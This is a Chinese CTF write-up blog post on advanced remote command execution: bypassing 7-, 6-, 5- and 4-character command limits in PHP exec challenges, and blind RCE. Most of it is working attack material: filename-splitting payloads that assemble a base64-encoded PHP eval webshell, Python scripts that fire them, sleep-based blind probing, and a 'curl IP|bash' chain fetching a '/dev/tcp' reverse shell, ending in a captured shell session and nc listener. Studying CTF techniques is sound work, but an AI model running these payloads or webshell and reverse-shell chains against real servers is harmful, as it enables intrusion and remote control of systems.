美文网首页
CTF随笔-RCE进阶

CTF随笔-RCE进阶

作者: 星际男 | 来源:发表于2020-10-17 11:27 被阅读0次

0x09 字符数量限制bypass

源自于某次比赛的题目。题目限制了命令的长度,只能7个字符。

<?php
    $sandbox = dirname(__FILE__).'/sandbox_' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox,0755,true);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>

在此情况下,利用linux的命令特性,写入一句话木马,从而达到目的。
在此之前首先了解linux命令的一些特性

>a    #虽然没有输入但是会创建a这个文件
ls -t    #ls基于基于事件排序(从晚到早)
sh a    #sh会把a里面的每行内容当作命令来执行
使用|进行命令拼接    #l\ s    =    ls
base64    #使用base64编码避免特殊字符

总体思路是,通过每次提交不超过7个字符的命令,写入一句话木马的执行语句到文件名,然后通过sh a ls -t,利用文件名组成写入一句话木马的命令
首先,我们要写入的一句话木马为:

<?php eval($_GET[1]);

base64编码后

PD9waHAgZXZhbCgkX0dFVFsxXSk7

最终需要被执行的语句

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

然后将语句分拆,输出为文件名,然后最后两行是

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

用python打payload

import requests

url = "http://xxxxx/index.php?cmd={0}"
print("[+]start attack!!!")
with open("execpayload.txt", "r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))

最终会在目录下生成1.php,里面就是一句话木马

如果是五位字符限制,则最后用

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

sh a

四位:

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

0x10 无回显rce

无回显rce是远程服务器上执行命令后,前段不会显示执行结果。这个时候需要使用curl或反弹shell进行绕过。
无回显可以通过增加参数sleep进行判断

ls|sleep 10 
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

首先测试是否执行成功

GET /index.php?c=ls HTTP/1.1
GET /index.php?c=ls|sleep 10 HTTP/1.1

如返回时间有明显差异,则代表命令执行成功。
对于无参数RCE,可以使用反弹shell

0x10 字符数量限制bypass2

curl反弹shell
此方法利用curl的反弹shell技巧,构造反弹shell语句,利用curl 访问目标地址|hash,执行目标地址上的反弹shell语句。
首先,我们要利用一个目标机能访问的地址,上面放我们的反弹shell语句。
例题:

<?php
    error_reporting(E_ALL);
    $sandbox = dirname(__FILE__).'/sandbox_' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox,0755,true);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 6) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

第一,我们利用一台公网地址的服务器,搭建80服务,服务返回反弹shell的语句,效果如下:

访问:http://81.71.84.61/
显示:bash -i >& /dev/tcp/219.152.63.100/8000 0>&1

具体反弹shell的语句作用后面另起专题讲述。

第二,利用linux特性写入一句话木马,参考上述篇章。由于限制字符数量限制,此处分开两部分执行。

第一部分

>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_

此部分主要是分两段,写入文件_中。首先写入ls字符,然后追加写入-t >y,这样执行sh _,即执行ls -t >y。此语句等于0x09的ls -t>0
第二部分,构造curl 81.71.84.61|bash(curl访问这个地址即返回bash -i >& /dev/tcp/219.152.63.100/8000 0>&1这句话),从而执行反弹shell

 ">bash",
    ">\|\\",
    ">61\\",
    ">84.\\",
    ">71.\\",
    ">81.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"

由于有字符限制,所以按照上述拆分。
最后,执行sh _,然后执行sh y 即可
具体python代码如下:

import requests
baseurl = "http://81.71.84.61:50002/?cmd="
reset = "http://81.71.84.61:50002/?reset"
s = requests.session()
s.get(reset)

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 120.79.33.253|bash
# curl 219.152.63.100|bash
# curl 81.71.84.61|bash
list2=[
    ">bash",
    ">\|\\",
    ">61\\",
    ">84.\\",
    ">71.\\",
    ">81.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]


for i in list:
    url = baseurl+str(i)
    s.get(url)


for j in list2:
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)

备注:用于接收shell的机器要开启端口监听

[root@gr8oqhchdsedujtq ~]# nc -lv 8000

效果如下:

[root@gr8oqhchdsedujtq ~]# nc -lv 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 81.71.84.61.
Ncat: Connection from 81.71.84.61:43998.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@314b51acf314:~/html/sandbox_92f06c44fa329edc79eafc1eb74538aa$ ls /
ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www-data@314b51acf314:~/html/sandbox_92f06c44fa329edc79eafc1eb74538aa$ 

相关文章

  • CTF随笔-RCE进阶

    0x09 字符数量限制bypass 源自于某次比赛的题目。题目限制了命令的长度,只能7个字符。 在此情况下,利用l...

  • CTF随笔-RCE入门

    实时上,RCE必然有过滤,下面介绍入门级的bypass 0x04 关键字bypass 纯关键字过滤,如cat、fl...

  • CTF随笔-RCE基础

    0x00 开篇 脑子不够用,记录积累的知识,第一篇。RCE全称是remote command/code execu...

  • CTF-Web-[极客大挑战 2019]RCE ME

    CTF-Web-[极客大挑战 2019]RCE ME 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个...

  • PHP命令执行集锦

    前言 代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下 ...

  • TP5_RCE合集

    目录一、控制器名引起的RCE二、核心类Requests引起的RCE 一、控制器名引起的RCE 公开时间:2018/...

  • 【白盒】TP5_RCE合集

    目录一、控制器名引起的RCE二、核心类Requests引起的RCE 一、控制器名引起的RCE 公开时间:2018/...

  • python 总结

    python 随笔 关键字 基础 内建函数 技巧 模块 进阶

  • 第2.2章:React编程快捷键

    rce rconst sst bnd imp enf

  • TCTF-2020-Chromium-Fullchain

    概览 rce+sbx。通过rce来开启mojo,然后再sbx bypass。 调试方式 在需要调试的地方调用deb...

网友评论

      本文标题:CTF随笔-RCE进阶

      本文链接:https://www.haomeiwen.com/subject/uswipktx.html